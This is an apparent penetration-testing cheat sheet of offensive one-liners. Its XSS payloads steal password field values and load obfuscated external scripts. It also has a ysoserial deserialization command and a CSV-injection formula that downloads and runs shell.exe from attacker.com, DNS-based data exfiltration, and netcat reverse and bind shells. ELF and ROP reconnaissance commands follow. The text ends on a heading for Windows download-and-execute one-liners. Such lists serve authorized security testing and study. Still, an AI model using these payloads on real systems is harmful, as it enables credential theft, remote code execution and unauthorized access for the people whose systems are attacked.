- XSS Payloads for script context to exfiltrate data
- Steal password with Ajax jquery
$.get("https://localhost/"+document.getElementsByName('username')[2].value+document.getElementsByName('password')[3].value,0);- Include external JS script in script context with Ajax jquery
Mainly useful when payload size is very restrictive
$.getScript(String.fromCharCode(104,116,116,112,58,47,47,120,115,115,47,116,46,106,115),1)- Blind Java Deserialization Payloads
java -jar ysoserial.jar CommonsCollections1 'sh -c $@|sh . echo ping $(whoami).<attacker.com>' | base64 | tr -d "\n"- CSV Injection Out of band Exploitation Payloads
=cmd|' /C powershell Invoke-WebRequest "https://attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1- On Victim machine Linux
for i in `ls`; do host $i.domain.com domain.com;done- On Attacker's machine
tcpdump -vvv -s 0 -l -n dst host domain.com and dst port 53 -w dump- To view data only for saved packet dump
tcpdump -r dump|cut -d"?" -f2|awk 'split($0,a,".domain"){print a[1]}'|sort -u- Reverse shell With Traditional Netcat [Without -e flag]
/usr/bin/mknod /tmp/bp p;/bin/nc <attacker_ip> 1337 0</tmp/bp | /bin/sh 1>/tmp/bp /usr/bin/mkfifo /tmp/mf;/bin/nc <attacker_ip> 1337 < /tmp/mf | /bin/sh &>/tmp/mf- Bind shell with Traditional Netcat [Without -e flag]
/usr/bin/mkfifo /tmp/bmf;nc -lk 1337 0< /tmp/bmf | /bin/sh &>/tmp/bmf- HTTPS Server
# this is taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
# https://localhost:4443
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('localhost', 4443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()- SMTP Server
python -m smtpd -n -c DebuggingServer localhost:25- Find the offset of /bin/sh in libc
strings -a -t x /lib/libc-2.11.2.so |grep "/bin/sh"- Find ROP gadgets
objdump -d -M intel ./<binary.elf>|grep -B5 "ret"- Find if stack is execuatble and writable memory locations
readelf -lS ./<binary.elf>- Find memory address of Global offset table
objdump -R ./binary.elf- Get Entry point of ELF file
readelf -h ./binary.elf- Get file headers, section headers and program headers
readelf -e ./binary.elfWindows One liners to download and execute payload
